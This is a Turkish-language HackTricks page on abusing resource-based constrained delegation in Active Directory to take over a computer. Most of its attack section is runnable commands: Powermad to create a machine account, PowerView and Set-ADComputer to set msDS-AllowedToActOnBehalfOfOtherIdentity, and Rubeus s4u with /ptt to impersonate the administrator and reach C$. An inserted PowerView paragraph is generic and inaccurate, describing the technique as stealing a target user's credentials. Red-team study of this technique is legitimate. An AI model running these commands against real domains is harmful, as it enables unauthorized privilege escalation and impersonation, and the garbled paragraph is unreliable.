13 KiB
Kaynak Tabanlı Kısıtlanmış Delege Etme
AWS hackleme becerilerinizi sıfırdan kahraman seviyesine getirin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz olan The PEASS Ailesi'ni keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Kaynak Tabanlı Kısıtlanmış Delege Etmenin Temelleri
Bu, temel Kısıtlanmış Delege Etme ile benzerdir, ancak bir nesneye herhangi bir kullanıcıyı bir hizmete taklit etme izni vermek yerine, Kaynak Tabanlı Kısıtlanmış Delege Etme, nesneye kimin herhangi bir kullanıcıyı taklit edebileceğini belirler.
Bu durumda, kısıtlanmış nesnenin, herhangi bir başka kullanıcıyı kendisiyle ilgili taklit edebilecek kullanıcının adını içeren msDS-AllowedToActOnBehalfOfOtherIdentity adında bir özelliği olacaktır.
Bu Kısıtlanmış Delege Etme ile diğer delege etme türleri arasındaki önemli bir fark da, bir makine hesabına yazma izinleri (GenericAll/GenericWrite/WriteDacl/WriteProperty/vb) olan herhangi bir kullanıcının msDS-AllowedToActOnBehalfOfOtherIdentity'yi ayarlayabilmesidir (Diğer Delege Etme türlerinde etki alanı yönetici ayrıcalıklarına ihtiyacınız vardı).
Yeni Kavramlar
Kısıtlanmış Delege Etme'de, kullanıcının userAccountControl değerinin içindeki TrustedToAuthForDelegation
bayrağının bir S4U2Self gerçekleştirmek için gerektiği söylenmişti. Ancak bu tamamen doğru değildir.
Gerçek şu ki, o değere sahip olmasanız bile, bir hizmet (SPN'ye sahip olan) olarak herhangi bir kullanıcıya karşı bir S4U2Self gerçekleştirebilirsiniz, ancak TrustedToAuthForDelegation
'a sahipseniz, dönen TGS İleriye Yönlendirilebilir olacaktır ve bu bayrağa sahip değilseniz, dönen TGS İleriye Yönlendirilemez olacaktır.
Ancak, S4U2Proxy'de kullanılan TGS İleriye Yönlendirilemez ise, bir temel Kısıtlanmış Delege Etme'yi kötüye kullanmaya çalışmak çalışmayacaktır. Ancak, bir Kaynak Tabanlı kısıtlanmış delege etmeyi sömürmeye çalışıyorsanız, bu çalışacaktır (bu bir zayıflık değil, görünüşe göre bir özelliktir).
Saldırı Yapısı
Eğer bir Bilgisayar hesabına yazma yetkisi eşdeğer ayrıcalıklarına sahipseniz, o makinede yetkili erişim elde edebilirsiniz.
Saldırganın zaten kurban bilgisayarında yazma yetkisi eşdeğer ayrıcalıklarına sahip olduğunu varsayalım.
- Saldırgan, bir SPN'ye sahip olan bir hesabı zaten ele geçirir veya bir tane oluşturur ("Hizmet A"). Herhangi bir Yönetici Kullanıcısı herhangi bir özel ayrıcalığa sahip olmadan 10 adede kadar Bilgisayar nesnesi oluşturabilir ve bunlara bir SPN atayabilir. Bu nedenle saldırgan sadece bir Bilgisayar nesnesi oluşturabilir ve bir SPN atayabilir.
- Saldırgan, kurban bilgisayarında (Hizmet B) YAZMA yetkisini kötüye kullanarak kaynak tabanlı kısıtlanmış delege etmeyi yapılandırır ve Hizmet A'nın o kurban bilgisayarına karşı herhangi bir kullanıcıyı taklit etmesine izin verir.
- Saldırgan, Rubeus'u kullanarak Hizmet A'dan Hizmet B'ye tam bir S4U saldırısı (S4U2Self ve S4U2Proxy) gerçekleştirir ve Hizmet B'ye yetkili erişime sahip bir kullanıcı için bir TGS talep eder.
- S4U2Self (ele geçirilen/oluşturulan SPN hesabından): Yönetici için bana bir TGS isteği yapar (İleriye Yönlendirilemez).
- S4U2Proxy: Önceki adımda kullanılan İleriye Yönlendirilemez TGS'yi kullanarak Yönetici'den kurban ana bilgisayara bir TGS talep eder.
- İleriye Yönlendirilemez TGS kullansanız bile, kaynak tabanlı kısıtlanmış delege etmeyi sömürdüğünüz için çalışacaktır.
- Saldırgan, bilet aktarabilir ve kullanıcıyı taklit ederek kurban Hizmet B'ye erişim elde edebilir.
Etki alanının MachineAccountQuota değerini kontrol etmek için şunu kullanabilirsiniz:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
Saldırı
Bir Bilgisayar Nesnesi Oluşturma
Powermad kullanarak etki alanı içinde bir bilgisayar nesnesi oluşturabilirsiniz::
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
Resource-based Constrained Delegation'ı Yapılandırma
activedirectory PowerShell modülünü kullanarak
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
powerview kullanarak
Powerview, aktif dizin ortamında çalışan bir PowerShell betiğidir. Bu betik, aktif dizin ortamında kullanıcılar, gruplar, bilgisayarlar ve diğer nesneler hakkında bilgi toplamak ve manipüle etmek için kullanılır. Powerview, etkili bir şekilde aktif dizin ortamını keşfetmek ve saldırı vektörleri oluşturmak için kullanılabilir.
Powerview'ı kullanarak, kaynak tabanlı sınırlı yetkilendirme (resource-based constrained delegation) gibi bir saldırı tekniğini gerçekleştirebilirsiniz. Bu teknik, bir hedef kullanıcının kimlik bilgilerini ele geçirerek, başka bir kullanıcının kimliğiyle hedef sunuculara erişim sağlamayı mümkün kılar.
Bu saldırı tekniğini gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:
- Powerview'ı hedef sunucuya yükleyin.
- Powerview'ı çalıştırarak aktif dizin ortamını keşfedin.
- Hedef kullanıcının kimlik bilgilerini ele geçirin.
- Hedef sunucuda kaynak tabanlı sınırlı yetkilendirme yapılandırması kontrol edin.
- Hedef sunucuda kaynak tabanlı sınırlı yetkilendirme yapılandırması varsa, hedef kullanıcının kimlik bilgilerini kullanarak başka bir kullanıcının kimliğiyle hedef sunucuya erişim sağlayın.
Bu saldırı tekniği, hedef sunucuda kaynak tabanlı sınırlı yetkilendirme yapılandırması olduğunda etkili olabilir. Ancak, bu teknik yalnızca yasal izinlerle ve etik kurallara uygun olarak kullanılmalıdır.
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
Tam bir S4U saldırısı gerçekleştirme
İlk olarak, 123456
şifresiyle yeni bir Bilgisayar nesnesi oluşturduk, bu yüzden o şifrenin hash değerine ihtiyacımız var:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
Bu, hesap için RC4 ve AES karmaşalarını yazdıracaktır.
Şimdi, saldırı gerçekleştirilebilir:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
Rubeus'un /altservice
parametresini kullanarak sadece bir kez isteyerek daha fazla bilet oluşturabilirsiniz:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
{% hint style="danger" %} Not edin ki kullanıcıların "Delege edilemez" adında bir özelliği vardır. Bir kullanıcının bu özelliği True olarak ayarlanmışsa, onun yerine geçemezsiniz. Bu özellik bloodhound içinde görülebilir. {% endhint %}
Erişim
Son komut satırı, tam S4U saldırısını gerçekleştirecek ve TGS'yi Administrator'dan hedef ana bilgisayara belleğe enjekte edecektir.
Bu örnekte Administrator'dan CIFS hizmeti için bir TGS talep edildi, bu yüzden C$'ye erişebileceksiniz:
ls \\victim.domain.local\C$
Farklı hizmet biletlerini kötüye kullanma
Burada mevcut hizmet biletlerini öğrenin.
Kerberos Hataları
KDC_ERR_ETYPE_NOTSUPP
: Bu, kerberos'un DES veya RC4 kullanmaması şeklinde yapılandırıldığı ve sadece RC4 karma değerini sağladığınız anlamına gelir. Rubeus'a en azından AES256 karma değerini sağlayın (veya sadece rc4, aes128 ve aes256 karma değerlerini sağlayın). Örnek:[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
KRB_AP_ERR_SKEW
: Bu, mevcut bilgisayarın saati ile DC'nin saati farklı olduğunda ve kerberos'un düzgün çalışmadığı anlamına gelir.preauth_failed
: Bu, verilen kullanıcı adı + karma değerlerinin oturum açmak için çalışmadığı anlamına gelir. Karma değerlerini oluştururken kullanıcı adının içine "" koymayı unutmuş olabilirsiniz (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER
/domain:domain.local`)KDC_ERR_BADOPTION
: Bu şunları ifade edebilir:- Taklit etmeye çalıştığınız kullanıcının istenen hizmete erişimi olmayabilir (çünkü taklit edemezsiniz veya yeterli ayrıcalığa sahip değildir)
- İstenen hizmet mevcut değil (örneğin winrm için bir bilet isterseniz ancak winrm çalışmıyorsa)
- Oluşturulan sahte bilgisayar, zayıf hedef sunucu üzerindeki ayrıcalıklarını kaybetmiş olabilir ve onları geri vermeniz gerekebilir.
Referanslar
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object
- https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı yapmak veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan PEASS Ailesi'ni keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da takip edin 🐦 @carlospolopm.
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.